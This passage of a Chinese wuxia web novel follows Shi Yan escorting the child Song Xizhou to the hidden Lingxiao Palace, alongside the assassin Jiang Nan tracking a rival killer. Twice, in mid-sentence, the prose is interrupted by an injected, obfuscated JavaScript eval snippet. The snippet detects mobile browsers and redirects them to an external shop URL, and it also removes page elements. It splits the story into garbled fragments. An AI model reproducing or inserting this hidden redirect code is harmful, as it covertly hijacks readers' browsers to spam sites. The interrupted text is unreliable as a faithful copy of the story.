“对,西州真聪明。”让凌霄宫诸人对宋西州过一遍眼,日后相遇,便会更加妥当。 石焉和宋西州坐在卿轩以重新备的马车上,一路往北而去。 “可是我姐姐跟我说过,凌霄宫的玉面夫人,杀人不眨眼!” “那这次我带你去,让你亲眼看看她是个什么样的人好不好?” “好!” 八月三十是母亲姜云谣的祭日,碑位立在凌霄宫,石焉每年都会由石难黎带着,一同前去祭拜。只是这次爷爷不在,反倒是自己手里领着另一个小孩,她这才忽然意识到自己已经长大,再也不是,也不应该是那个被照顾的孩子了。 一连几日,石焉在马车里除了短暂休憩,大部分时间就是翻看包袱里的几本医书,宋西州则拿着石焉的榫卯机关盒把玩。江南则在卷云洞与屿王府间来回穿梭,早晚依石难黎之嘱托疏通内力,练习心法,其余辰光便履行其暗卫职责,看护怀孕的王妃。日夜交替如常,石焉和江南各有所挂,研习医药,精进武功,倒也来不及牵挂儿女情长。 盛暑天闷热,这日石宋姐妹俩一起行到一处城镇落脚,马儿也连日疲累,石焉和宋西州便准备在镇上休息一天。两人去车行交了马匹,石焉又在镇中一家门口摆了白山茶的客栈定好房间,这才短暂安顿下来。 “石姐姐,你每日在马车上就都在翻书,现在刚闲下来又看,这些书还都是古医典,有这么好看吗?”宋西州凑过来好奇道。 “姐姐的爷爷中了很厉害的毒,需要配出解药才行。不如你也拿一本来帮姐姐一起看看,我现在要找到关于悬山的注解,好不好?” “悬山?好,我找到叫你!” 宋西州接过石焉从包袱里抽出来的另一本典籍,两人就一起坐在窗边,认真翻阅了起来。凌霄宫开的客栈向来选址于最热闹宝贵的地段,但姐妹俩安静查书,丝毫不被外界所扰,连小小年纪的宋西州都不曾为窗外而分心过一刻,一个时辰很快便过去了。 “这么长时间过去,你背上挨的板子总算好些了。”王府里顾念怀正扶着江南从床上起身,他道,“这次殿下确实有些生气,才叫人下手重了些,他看重你,所以…” “我知道的,是我不该随意揣测殿下。” “嗯,你心里明白就好。殿下要见你,走吧。” 两人一并到了书房,顾念怀阖上门,便听屿王道,“江南,上次劫出英国公时你说在巷子里曾被一个躲在墙上的高手伏击,且对方在江湖上并无名号,是吗?” “那么这次你便去将功折罪吧。” “他定是太子的人。我事后派人探查过,太子府登记在册的所有府役中根本没有能和你一拼的,想必也是和你一样不在册的暗卫,去,给我把他是谁找出来。” “我找到了,西州,不用翻了。”石焉敲敲宋西州快埋到书里去的小脑袋。 “这么快!”宋西州猛地抬起头,“石姐姐好厉害。那爷爷是不是有救了?” “还差几味药,配出来后也还要反复试,但我还没想出来应该是什么。”石焉看着宋西州忧伤的小脸,笑着转移话题道,“西州,你前几日那个男孩头,是谁给你扎的?还挺英气呢。” “是轩以大哥哥!”宋西州马上做出生气的表情道,“他不会绑女孩的头发,只会给我盘一个髻子。” “这几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253656|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日也是姐姐疏忽了,光顾着赶路,每天叫你灰头土脸的。过来,我给你梳一个京城里女孩们都爱梳的头,好不好?” 说完石焉拉着宋西州到了梳妆镜前,温柔地拆去绕发的布带和木簪,用梳子沾了花油重理秀发,再束丱发于头顶两侧,又分别簪银饰于其中,轻微晃动脑袋便可听得银铃作响,显得宋西州更加活泼俏皮。 一番妆发完毕后,石焉正要问宋西州喜不喜欢,就见她正瞧着镜子里的自己发呆。 宋西州道,“石姐姐,你可真漂亮!我长大能不能也像你这样漂亮?” “相由心生。只要你心存善念,自然会越来越美。更何况我们西州打小就是美人胚,用不着长大,现在就已经比我招人喜欢多啦。” 宋西州这才笑着去欣赏自己的头发,她看起来很满意,左瞧右瞧了半天,又突然站起来跑去自己的包袱里,翻出了一条石榴红的裙装,道,“石姐姐你看,这是我最喜欢的一条裙子,是姐姐和师父一起给我做的,我现在就要换上!” 她兴冲冲地换起衣服,提到“师父”二字时也没有明显的波澜,倒是石焉心下一晃,生怕她提起那桩凶事。不过小孩儿心思到底单纯,她有了眼下新衣新妆,自是什么烦恼忧愁都抛之九霄云外了。 次日早晨宋西州睡醒后,看到行囊已经被收拾干净,石焉换回了那身淡藕合的布裙,正坐在窗边又翻阅着古籍。 宋西州翻身下地,走到石焉身边,下意识摸了摸自己头天晚上舍不得拆的新发髻,靠上胳膊便又要迷糊过去,石焉忙道,“快去洗把脸,带你出去吃早点,然后再赶路好不好?” “早点!”宋西州猛地弹起来,道,“我要吃昨天看见的那家胡饼!” 石焉遂带着宋西州下楼,将她喂了个肚儿圆,小孩这才心满意足,答应继续上路,只是两人还没走出胡饼摊子两步,就突然听到身后一声闷哼。 石焉转过头去,看到一魁梧大汗似是晕厥倒在地上,她忙上前查看,见这男子并无明显外伤,想来是天气炎热,这才中了暑热,她从袖中取出随身带的清凉剂,洒在男子口鼻上,又叫宋西州从包袱里拿出扇子用力扇风降温,不过一会,那男子已有悠悠醒转之象。 “两位——”远处跑过来一个小男孩,他气喘吁吁跪到大汉身边,对石宋二人道,“两位姑娘,这是我大哥哥,他就是天热的,没什么大碍,我带他去看大夫便是,两位快走吧。” 石焉和宋西州面面相觑,看这小男孩急着赶自己走的样子,更加满头雾水,石焉只以为他是怕自己治好了他大哥哥要找他要钱,便道,“小朋友,我就是大夫。你放心,等你哥哥彻底醒了,我就走,不要你付报酬。” “哎哟,不是报酬的事!”小男孩急道,眼看那大汉神色逐渐恢复,就要醒来,他干脆附在石焉耳边小声道,“姐姐,我哥哥是这镇子上有名的恶霸,从你吃早饭开始就一直盯着你呐!幸好现在晕了。你快走快走,等他醒了就走不了了!” 石焉半信半疑,但想到还带着宋西州在身边,车夫小刘又一大早就先去了车行准备车马,眼下只剩自己全然不会武功,还是少惹事为妙。当下对那小男孩交代了几句暑热病人醒后的注意事项,便拉着宋西州快步离开了。 两人快步疾行,赶到车行与小刘碰了头,三人才一道上路,继续往北赶去。 从卿轩以的北桥分舵,到凌霄宫所在的万周山,路程将近一个半月,车马走的很顺,几乎不曾耽搁什么。八月底,马车便到了山脚下。 “就到这吧,小刘。一路你也辛苦,如今我们俩平安抵达,你也好回去向十二舵主交差了。”石焉笑道。 “小姐说的什么话?这一路上我除了赶车什么忙没帮上!说句不中听的,我本想逮个机会也来一出英雄救美,回去也好向舵主邀功啊!”小刘性格活泼,说话也直爽,他继续道,“谁成想这一路上连个小苍蝇都没碰见,就像那小妖怕见菩萨,都故意躲着咱们小姐走似的。” “小刘,你这么说可对了!”宋西州夸张地撑大了眼睛,装出一副成熟老练的样子道,“石姐姐可不就像极了我小时候在画贴上描的菩萨像吗!” “小丫头,人家叫刘大哥。”石焉笑着刮了下宋西州的鼻子道,“怎么你也跟着叫小刘了?” “那有什么不可以?我叫他小刘,他也叫我小宋呀!” “好好好,石姑娘,小宋。”小刘被宋西州逗得直发笑,他强忍住道,“那在下这就回了,两位自己上山,也万不可大意。告辞。” “后会有期。”石焉抱拳道。 “后会有期!”宋西州也跟着有样学样。 双方别过后,石宋二人一人肩上挎着一个大包袱,徒步往山上而去。 万周山地处东北,一路过来已经比南方凉快不少,此时再往上走,更是清爽宜人。而北方的山,树,都与南方不同,到处可见古木参天,四下可看徒壁怪石,漫步其中,更可感其崇山峻岭之中,自有一番威严雄伟。两人越往上,越不能回头,偶尔向下望去,只能见到云雾弥漫,缭绕之间,依稀可听到几声灵鸟长啸,再往上走,便到千山峰了。 千山峰是万周山最高的一处险峰,此时业已天暗,石焉不敢贸然带宋西州摸黑前行,便在远离峰壁的位置,找了棵粗壮好上的树,就此在树上对付一晚。可石焉这边还正费力在包袱里结衣扎绳,那边宋西州已经轻巧一跃,跳上树干啃起了果子。 “你会上树?”石焉看着自己手里刚结好的长绳,顿时感觉白费劲了。 “对呀!石姐姐,难道你不会吗?”宋西州一派的天真无邪。 “我确实不会。”石焉无奈地承认。她本想着先从主干试着能不能爬上去,如果成功了,就再从最低的那处分叉把绳子丢下去,再把宋西州吊上来。 没想到现在被拉上去的人竟然是她。 宋西州“哈哈哈”地笑个不停,石焉就任由她笑,手下不停,将绳子绕着树干缠了两圈,再系到自己和西州的身上。山风悠悠,月光霁霁,两人靠坐在树干上你说我笑,入睡时脸上都还挂着清澈的笑意。 次日凌晨,石焉还在睡意朦胧中,微微睁开眼睛,想确认一下宋西州的安全,结果不看不要紧,这一转头可吓一跳,身边哪里还有小女孩的身影?她顿时睡意全无,正要下树找寻,却在低头的一瞬间,看到了跪坐在平地上的小小身影,那身影背对着大树,前方是空旷崖野,红日正从山岭间升起,她朝着日出所向,薄薄的背影里满是虔诚。 “西州?”石焉叫道。 “石姐姐你醒了!”宋西州明媚地回过头,她抬眸望来,眼神里还带着日出的光晖,周身更笼上了一圈橙红色,发丝也散着明亮的晕。 “我从来没在山里看过日出。”宋西州又回过头去,一动不动的盯着天边大片的红。 石焉悬着的一颗心骤然放下,她坐在树干上,也跟着抬头望去。 天边外初阳烈烈,浑像一面红金大圆镜,昨日的云雾尽销,只照此刻眼前乾坤。 等天光尽显,两人即拾起行囊,向千山峰后而去。沿石路而行,地势越发起伏,树木亦越来越少,偶有几颗古树,仿佛本就种在云霄之中。又走了半日,已无路可通,一处悬崖现于眼前。此处峰险山势,绝壁更似斧削一般。 “石姐姐,这便到头啦?那我们要找的地方,到底在哪里呀?”宋西州奇道。 “西州,你信不信我?”石焉拉着她,已经走至悬崖边缘,再往前一步,便是百丈深渊。 宋西州没来由地感到一阵恐惧,但还是点了点头。 说时迟那时快,石焉用力一跳,带着宋西州,直往悬崖之下纵身跃去。 17. 第四章第三节 双脚轻盈落地,惯性之下一个前翻,便轻巧藏身于府院高墙边的荫荫大树下。 这里是太子在宫外的宅院。太子再有能耐,也不敢将没有名册登记的刺客长期养在宫里的太子府,江南依据自己每每随屿王进宫除了都要刻意乔装外,入宫后依然躲躲藏藏的经验推测,那个人能入宫,太子定也要出宫来外宅见他。 他知道从前太子府就曾有十位刺客,都养在宫外府邸里,只是近些年来前后丧命的不少,加上太子手下的五大江湖门派也都已被自己灭口,他和屿王从来没有听说过太子手里还有这样一位武功高强的刺客,如此辛隐,秘而不宣,想来是执行格外重要的命令时才会启用的。这对江南来说可不是一个好的信号。 他这行,自己就是躲在阴影里替人卖命,暗算别人的,若对敌人了解太少,那么被躲在更隐秘处的旁人暗算而丧命的几率就会大大增加。 他近日已一一查遍了太子所有明的暗的大的阔的外宅,只剩下这一处早早就被太子转赠出手的小旧院子了。 总不至是这吧? 明明是青天白日,这里却像个鬼宅般悄无生气,正门口挂了一串铜铃轻声摇晃。他正要再往前走,便听到西侧房中有脚步声,立刻闪身躲过,见里面走出一男子,看年纪比自己略大些许,虽然左脸上有一道长疤,但江南不知怎的,脑中只冒出“眉清目秀”四字可堪形容。 当日为劫英国公而被伏击,自己往墙上一瞥,别的不甚清楚,这道长疤和阴柔气质却记得明明白白,是他。 江南随即悄悄跟上,那男子手摇折扇款款出府,气质文秀,如何让人想得到他竟是太子府的杀手?两人一前一后,一直到了三个街区外一处少有人至的古庙门口,江南见他整理衣衫后才缓缓步入其中,他走上前去,取下墙上其中一块牌位,细细擦拭,又跪在蒲团上长声低诵。 亡妹叶棠衣往生莲位。 江南识字不全,但牌位最前面的“亡妹”二字他却识得。埋山青尸骨时,他犹豫许久,最终也只敢在松软泥土上以指反复描画这两字,再在离去前抹掉一切痕迹。 兄弟姐妹,到底是什么意思?江南对这个词的理解,似乎只在墓碑灵牌上停留的格外久。不知道这个人的妹妹如果还活着,今年是多大年纪?他没来由的想起杀许霓生那夜,有一个提着萤火虫的小女孩,双眼里盛满了惊恐望着自己,那样的眼神,他只在山青初入卷云洞后不久,在发了噩梦而惊醒的她身上见过一次,清醒之后她就又变回了那个狠戾残忍的怪人。于是江南决定放走这个萤火虫都掉了一地的女孩,放走这双还能感受哀乐和喜怒的纯真童眼。 而此时的宋西州正吓得魂飞魄散,只感觉到自己的头发、衣带全都剧烈向上飞起,惊惧之下连叫喊都忘了,但迎接她的不是无止尽的坠落与失重,而是不平的地面和快速的撞击。 她重重地跪倒在一块垫了土和草的石面上,半天也没缓过神来。 原来凌霄宫所在的无尽崖,是一处四周皆断,与环伺的万周山脉均无路相通、无径相连的所在。万周山恰如其名,是一处圆形环山,人站在山外时,只看到山脉起伏相连,唯有上了山顶,才可见其正中,有一巨大天坑,而在这天坑里,平地拔起一座与峰齐高的孤崖,便是无尽崖。曾有好登山者即便到了最顶处,绕行一圈,眼见四处都是悬崖峭壁,便只能眼睁睁看着大约隔空二十丈之外的地方,层层云海之后似另有一处奇境,但纵是轻功最高超之人,也不可能凭空跃到对岸去。偏偏这座孤崖,四周面光徒壁,亦有人试着从天坑最底处往上登爬,然而最高也不足十分之一,就再也无法继续攀跃了。因此其才被人命名为无尽崖,即是在目光所及之处,觅得意外仙境,然只可远望,不可近攀,有尽高山也成了无尽孤崖,可惜可叹。 不过天无绝人之路,据闻林惊时将军在生前一次大战中,前等不到援军,后有敌兵穷追,他为保仅剩不足百人的部众能活,独自引开敌人,最后不得已被逼上了万周山,在千山峰处,绝望跳崖。然而正是这一跳,才叫他发现了这无尽崖的秘密。 即是在无尽崖与千山峰之间,有一块天然巨石。传说此石乃天外神仙所降,否则何以其正正好好长约二十丈,又正正好好卡于两岭之间,形成一道天然石盘桥,两端崖壁上均有道道深切磨损的竖痕便可佐证此传闻不虚。此石横在山峰下方,离峰顶地面尚约有一丈高的距离,一丈并不甚多,但恰因山顶气候奇异,因此探头往下望去只能见到岚雾笼罩,深不见底,谁也未曾想过这下头竟另有一番生机。若不是林将军被逼至绝境,决心舍了命去,又有上天顾惜,也不会发现此道。 肖云翎也是机缘之下才从林惊时口中得到这份地图,无尽崖在千山峰后,千山峰在万周山顶,她便带首批弟子来到此崖,修建了凌霄宫,凌霄宫也自此成了江湖中最神奇隐秘,无人知其中人来去所踪的门派。 而之所以要在巨石面上铺些草和松土,也正是肖云翎以防有好事者朝峰下故意扔些石块杂物时发出脆响而泄密,才刻意为之的。不过凡人靠近悬崖,皆避之不及,唯恐一个脚下不慎,就要跌落无尽谷底,又怎会平白接近边缘,探头观察崖下境况呢?何况此巨石仅横于千山峰西面后方某处,宽亦只有一丈,要想寻找到它,非得熟知精确的方位不可,若不是石焉来过许多次,但凡她稍稍偏离一步,便极有可能带着宋西州就真的烟消云散在万丈深渊中了。 凌霄宫弟子个个轻功高超,在巨石与峰顶间上下一丈不过是轻而易举,但对于石焉和宋西州而言,却免不了要摔上一跤。今日倒让这堆土草第一次发挥了其作用,帮石宋二人免于受皮肉之痛。 “太好玩了!太好玩了!”宋西州回过神以后,不仅不怕,反倒拍手兴奋起来,她两道俊眉一并扬了上去,“这地方当真妙极了!像传说中世外之地似的!我太喜欢这了!” 石焉牢牢拉住宋西州的手,这巨石足够并排走上几人,但巨石表面凹凸坎坷,从前爷爷是如何带着自己走的,自己今天也要如何把住宋西州的手。 等两人走到巨石彼端,瞧着头顶就是无尽崖了,石焉手里握着结绳,却犯起了难。 “以前都是爷爷载我上去,单爬绳子还是第一次,要不咱俩试试?” “石姐姐,你往后去点,我跳一下试试。”宋西州已经摩拳擦掌跃跃欲试。 “不可!”石焉赶紧攥紧了她的手,“你当这是昨晚爬树呢?你但凡跳偏了点落下山崖去,我可没本事救你!” “哈哈哈,姑娘且让她跳,有我看护着呢,绝对不叫她掉下去。” 身后上方爽朗的笑声传来,两人俱吓了一跳,赶忙回过身仰头望去,却只可看见厚重云海,半天不见人影。 这巨石长二十丈,顶空又经年雾霭弥漫,听声音那人似仍在那端千山峰的崖边。两人一路上山,已是万般小心,可若有武功高超者跟随在后,还真无法发觉。石焉心道糟糕,不知来者是敌是友,要是在这巨石上冲突起来,自己定毫无招架之力。 “来者何人?”石焉大声问道。 “姑娘这么快就不记得我了?” 云霄朦胧间,一抹深竹月色穿岚而出。 待那人走近,石焉惊喜道,“裴师姐?!” 来人正是裴青冉,她面带笑意,腰挎长剑,背手信步而来,身上的深竹月乃是凌霄宫弟子位列最高等级后方可穿的服色,而能到此第的,左不过二十人。 裴青冉路过石焉也不停步,只笑道,“姑娘,你且再等一等,我先抱小宋姑娘上去,回来再接你。” 她说到“小宋”二字时故意拉长了语调,石焉心下已经了然,想必刚才在山下与小刘的一番对话,已经全叫她听到了,恐怕这一路平安也都是她在暗中保护。那突然晕倒的大汉,和前来提醒的小子,该当都是她的手笔。 宋西州还不明所以,直勾勾对着裴青冉上下扫视,见她一路直朝自己而来,不由得往后退了两步道,“你是谁?” “我是能带你飞的人。” 这边话音刚落,裴青冉便拦起宋西州的腰,那光滑的崖壁对旁人自是千难万难,但对她却像是如履平地,脚尖轻踩,几步就带着宋西州跃上了无尽崖顶。没过一会,便又接了石焉上去。 “飞女侠,你就是玉面夫人吗?”宋西州仰起脖子,看着裴青冉问道。 裴青冉听到“飞女侠”三字,一下子笑出了声,待听到“玉面夫人”四字,又立刻严肃起来,她道,“我既不是飞女侠,也不是玉面夫人,我叫裴青冉,玉面夫人是我师父。现在我要带你去见的,才是她。” 她见宋西州神情也跟着变得紧张,便又笑了起来,缓和了语调,道,“不过你这小丫头啊,当真是可爱得紧。” 话毕,石宋二人便跟着裴青冉向崖深处去,不出百步,入眼便是一大片鲜花地,几人走进丛中,沿窄道穿行。宋西州低下头就要去近闻,石焉立刻拦住她,道,“碰不得。” “你没瞧见这些花的颜色吗?” 宋西州仔细观察道,“好似全都是同一品种,只是花瓣颜色各自不同,也并不均匀,而且比正常的花都要更鲜艳!” “这些花原本都是白色,是用混了颜色的毒液一瓣一瓣染上去的。”石焉道。 “毒液?!”宋西州大惊之下,慌忙缩回脑袋,躲到石焉裙后,她虽对这个突然冒出来的裴青冉很有好感,却不由得对她师父玉面夫人产生了更多恐惧。 该处矮丛簇簇,亦不乏高灌藤条,有的远远看去,堪比一面彩色高墙,纵是石焉这样在人群中本就出类拔萃的个子,走进去也埋没其中不可见,再加之此间分径繁杂,岔路百种,这片鲜花地虽总占地不过区区之少,但若非熟人领路,非迷失方向而绕至晕头转向不可。 宋西州跟着两位姐姐好不容易出了这片毒铺,前方等着的又是一辆叫人摸不着头脑的马车,还有一个着青绿衫子的姑娘,似乎是驾车人。 之所以说这马车让人摸不着头脑,正是因为它除了也有一马一车之外,各处都与寻常马车全然不同。窗户皆以木板严丝合缝的钉死,门帘亦是沉重厚实的火浣布,反而顶蓬倒打的稀稀松松,空隙间泄了许多阳光入内。 宋西州不解,却见石焉已经轻车熟路地上了车,她跟进去,倒觉得此轿虽看上去郁郁闷闷,实际四周的遮挡反而成就了抬头所及的美景,不得不将视线全部注于仰望之上。云层覆盖着青天,涌动游走下让人犹如置于大海深处的船只,飘飘眩晕,已不知自己身在何处。 “妙极!妙极!这个设计好!”宋西州又兴奋起来。 “把这个戴上还觉得妙极吗?”裴青冉最后一个跟上车,在旁坐下后,笑着递过来两条手帕,示意二人覆于眼前。 石焉接过帕子,轻轻替宋西州系上,边柔和道,“这是无尽崖的规矩,非派中弟子,不许窥视崖上路线。” “那石姐姐你呢?你也不能看吗?” “一视同仁。” 马车徐徐前行,宋西州眼前白茫茫一片,只有透过帕子传来的光亮,晃的她头晕。不知道过了多久,覆在眼前的手帕终于被揭了下来。 宋西州不禁倒吸了一口气,若说眼前景象不让人震撼是不可能的。 方圆几里,入眼皆似青绿设色,一番花开尽,惟有草色齐。这里是无尽崖的最深处,尽头便是彼端的峰崖峭壁。肖云翎没有在此撒种任何不合时宜的花朵,更没有兴建任何过于人工的景致。夏可看古树高、草木低,冬可见雪压峰、冰挂枝,取景当下的自然,又借景于崖外的山岭。且看东西南北,便类四幅画,转一角即是一处新境界。 其间一棵古树长于诸木之中尤其显眼,不似一般北方木般高直而径向云霄,反观其冠幅庞大,枝蔓广阔延伸,盘根错节似能遮空蔽日,而树干一侧有两根结实枝条自然垂下,底部缠了块木色横板,一架秋千就此浑然天成。 宋西州往前奔跑两步,只见那秋千上坐了一蓝衫女子,虽与之距离尚远看不真切,但这蓝色独有的清冷沉静,可不是和裴青冉所穿一模一样的深竹月吗?蓝衫女子双手绕藤,交握于胸前,斜首轻倚向一侧,足尖一点一点,似乎是已在秋千上浅睡了过去。 忽然间天边一声长啸,秋千上的女子悠然醒来,宋西州也吓了一大跳,她抬头循声望去,霎时呼吸也停滞了,只觉得此刻眼前景象,便是刚才历经的所有相加也不敌其万一。 昆山玉碎凤凰叫,如今竟叫我亲眼瞧着了? 宋西州茫茫震撼中觉得自己凭白重见了几百年前大诗人李贺所述的那种苍茫与细腻。 是两只凤凰神鸟。 一只曳翼拖尾,一只振羽旋首。一上一下,一前一后,从尽头处的断崖下忽攸冒上。露冠的一瞬间,九霄青空皆染万里金辉。 凤凰身薄且微,尾羽却既宽更长,一路飞冲云空之上,两扇飘尾尚挂于天际,如两条大鱼遨游四海浅表,衬的崖上诸人更似置身无垠海底。 蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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原来这位蓝衫女子名叫简梅烛,她与裴青染同是最高级第的弟子,又均是不到十岁便拜师上崖,两人天资匪浅,习武后迅速功夫出众,加之为人不卑不亢,行事妥帖有度,十分得到肖云翎的重用,成了整个无尽崖默认的两位大师姐。 而简梅烛比裴青染要早拜入师门几个月,再加上后者又颇有些算术头脑,待其武功学成,进至最高等第后,遂被肖云翎派去四海各处的铺面看指生意事,一年不过回崖至多两次,因着不常见面,她每次回到师门,总要正式行礼,再尊称简梅烛一声师姐。 “你每回回来,几乎只赶上姑娘来咱们这祭母后返程,因此这七年,你们俩虽照面,却鲜少相处。不过年年都是我招待姑娘,我们自然是相熟了。不过无妨,青染的性子,熟不熟也不碍着她玩笑。”简梅烛边道边带几人往秋千树后走去,她继续道,“走吧,先进去再说话。师父本来派我在此迎你们,都怪我一时走神睡着了…” 众人一路向深处去,绕过那棵藤蔓蜿蜒的巨型大树,后头的青色戛然而止,只见到一处向下的石阶。这里离崖壁边缘已无多少距离,因此在地面上看过来,只以为是绿野无边,蔓延到底,浑不知在这片草色下头,还另有洞天。 石焉曾从肖云翎那得知,这石阶所在之处,原是一处凹陷地,深邃足有三四丈,不过往前几近悬崖峭壁,后又有诸木根茎密布,因此其方圆纵横并不甚宽阔。好在肖云翎并不好大爱奢,唯喜清静独特,因此该处正和她心意。遂在此打砌石阶,略筑营造,便成了一处三层地宫。顺着石阶而下,地宫内部凉爽非常,又不设瓦顶,层与层间露空留廊,与外界似隔非绝,身处凌寒中,仰头却依旧可见央央碧霄及缘表树藤,凌霄宫由此得名。 青绿衫子的女子领着马车退下,余下四人便一并下了地宫。刚下一层,就听到底下一年迈妇人的说话声传来,“梅烛,是姑娘到了吗?” “正是。”简梅烛高声应道。 再下几级,那年迈妇人的真容才露了出来。她站在通往底层的石阶拐角处,手里拄着一根似是玉石质地的长杖,通体晶莹,冰洁剔透。这位妇人衣着整洁,发型得体,气质沉静不凡,面容严肃峻冷,叫人见之不寒而栗。 石焉刚想为宋西州介绍,却被裴青染笑着按住了手,示意她莫急,只好同简裴二人一起先向老妇人躬身见礼,点头致意。 偏偏宋西州对眼前人是一点也不惧,已经又猜了起来,“嗯,眼前这位倒是年龄合适,气度也与传闻相符。” 她黑眼珠子四下里一转,踮着脚斜过身子,凑近老妇人悄悄道,“玉面夫人,是您吗?” “噗哧”地笑声从身后传来,宋西州两条小眉毛横地一拧,她回仰起头怒视着努力憋笑的裴青染道,“我再也不叫你飞女侠了!你老是捉弄我,我要叫你坏姐姐!” 这回大家倒是一起笑了起来,连老妇人都抿着嘴露了笑意,她眼中露出慈爱之色,慢声哄道,“青染丫头最是个鬼点子多的,你倒是机灵可爱,合我眼缘。你说的对,以后不理这个坏阿姐。” “瞧瞧!还说我捉弄你,我明明是在帮你。咱们蓉姨向来是眼光最高的。”裴青染陪笑着前去搀老妇人的胳膊,继续往底层下去,她回过头来对宋西州吐了吐舌头道,“这才第一次见呢,就为你说话,连我这个二十多年的丫头都不要咯!” “蓉姨?”宋西州有样学样叫着。 “要叫婆婆。”石焉纠正道。 几人笑闹着到了底层,迈下最后一级台阶,面前不大的圆石厅里,摆着一方青台面,两个女子正一立一坐,背对着诸人。 立着的那个仪态亭亭,一袭紫衣垂地,衬的其长身翩翩,闻得背后声响,转过身来。 她面上覆着一方淡色纱巾,前发又垂下一金属额饰,满面几乎全被遮掩,仅可见其双眼流波。然便是这一双美目,已胜星华。 然而众人的眼神还是不自觉被坐着的女子吸引过去。玉面夫人即是如此。没见过其的人百般猜测,如宋西州,每遇一不凡女子都要心疑一二,然而当玉面夫人真正出现在眼前,哪怕周遭千万女子,也总叫人一眼便可确认她的所在。 此刻她一袭云峰白长裙,缃色长衫轻轻搭着,如云如环的凌虚髻旋拧交集,托于头顶。即便其背对着,仍可见其如瀑般的乌黑发尾,脖颈下的胜雪凝肤。与紫衣女子相反,满头上下无甚装饰,唯有两串绿琚葫芦坠于耳畔。 悬空绾起头上髻,明月与作耳边珰,嫦娥仙子出画落,气度孤华洁高持。 宋西州记得姐姐在第一次随师父离开江陵时,曾见过玉面夫人一面,她回来后数次念起那日的情景。 晚叶尚开红踯躅,我惟见秋芳初结白芙蓉。 “参见师父。”简梅烛与裴青染纷纷拱手道。 18. 第四章第四节 坐着的女子仍旧背对着,她宽袖半挽,露出一截胳膊,正轻轻揉着自己的太阳穴。 “老远就听到你们吵吵闹闹的。” 说罢便转过身来,她动作飘逸,回头时连散落胸前的发丝也一并甩到了脑后,两管宽袖皆灌进了风去而充盈起来,一举一动,无不恣意张扬。恰恰又似是时光都愿为她停驻片刻一般,平平一个转身,在她做来竟仿佛神仙降临。 简裴二人直起身来,石焉这才上前一步,叫道,“姨妈。” 肖云翎抬头睨了石焉一眼,她眉弯眸深,两条远山如画中杨柳,一双杏眼喜飞舞腾扬,面颌宽阔匀称,除了眼波中直截可见江湖打杀留下的豪迈痕迹,其余容貌各处都更像城里养尊处优的夫人奶奶。她长相本是温婉大气,脸角方圆揉合,单论面容与石焉是说不出的相像,唯独嘴唇微微带笑、眉眼也跟着一并挑起时,总似带了些讥笑与淡薄,她逍遥自若,从不曲意逢迎,这份孤高气质、度外心性,却与石焉是半点不挨着的。 她道,“一年不见胆子倒大了不少,都敢去金陵了?还帮屿王窝藏嫌犯,转眼又公然推举你那位伯母占了水帮帮主的位置,露头角的本事见长啊。” “什么都瞒不过姨妈。”石焉垂下眼睛道。 “好在姑娘平安,也按时回来了。”简梅烛知道师父最是刀子嘴豆腐心,她口中责备实际上是心中关怀,便忙插话打圆场道。 “呵,如若不是青染一路跟随着,就凭你那个水帮的小车夫小喽啰,心比水井还粗,能护的住你和这个小丫头?你且问问青染这段日子料理了几个暗中欲不轨的。” “的确是我没给小刘逞功的机会,都在头里一早给打发了。”裴青染笑着接过话头,又继续道,“师父您不知道,这中间有一次我下手重了些,击晕了一贪图姑娘美色的莽汉倒在石板地上,结果您猜怎么着?咱们姑娘竟然上去要救人,最后我不得已收买了个小孩才把姑娘打发走。” “原来飞女侠在暗中保护了我们一路!”宋西州还没来得及搞明白石焉与玉面夫人间的关系,先理出了裴青染是好人这一条道理。 “这会儿又不叫我坏阿姐啦?”裴青染歪过身子凑近道。 “还不先向我介绍介绍这个小妮子?”肖云翎支起一边胳膊,好整以暇地看向宋西州。 “姨妈,这是扶苏门代掌门宋酬雌之妹,宋西州。年不过七岁,但聪明伶俐,她姐姐把她托付于我,我打算祭拜好母亲之后,带她去徒太山那里。”石焉又转向宋西州道,“西州,拜见凌霄殿主。” “西州拜见凌霄殿主。”宋西州上前两步,盈盈拜下,只是她虽然身子躬低,大眼睛却使着劲儿往上瞄,非要看清楚这个玉面夫人的模样不可。 “嗯,生的俊俏,胆子也大。不过我无尽崖可不是什么人都能上的,你既然来了就要听我的安排。我现在要你把刚才坐在马车里的路线画出来。秋娘,去拿纸笔。” “啊?我刚刚蒙着眼睛呢,怎么画呀?不是不许我们知道路线吗?”宋西州一脸委屈地回头看向石焉。 “只管画便是,别去看你石姐姐,我不考她,自然有我的道理。” 石焉揣测肖云翎话中的意思,只怕是为了测试宋西州是否真的被瞒住了崖上路线。许多年前自己第一次来无尽崖找这位肖姨妈,十岁出头的她同样被人用手帕覆住了双眼,只是她自小就在苗疆大山里跑惯了的,又曾随父亲在荒漠中行军,因此她对方向的把握远超中原一般人士,而蒙着眼走这么一段路,对自己而言不过是雕虫小技。朝哪个方向行几里路,又在哪处拐了几个弯,她初次来便晓得了。且按照肖云翎对自己的了解,肯定亦早就对她的本事心知肚明。 只是现下如此为难宋西州,难道姨妈动了招募之心?石焉猜测道。 那边叫秋娘的紫衣女子已经端上了纸砚笔墨,宋西州虽然满不情愿,但她心里对玉面夫人仍有畏惧,只得拖着步子走上前去,在肖云翎的对面坐下了。她泄了气般趴在青台面上,小脸压着薄薄的水纹纸,可怜巴巴地望着姐姐们,眼见众人都笑着只等看热闹,便只好将圆溜溜两颗大眼珠子转回到面前的肖云翎身上,又狠狠眨巴两下,活像匹待哺的幼狼崽子。 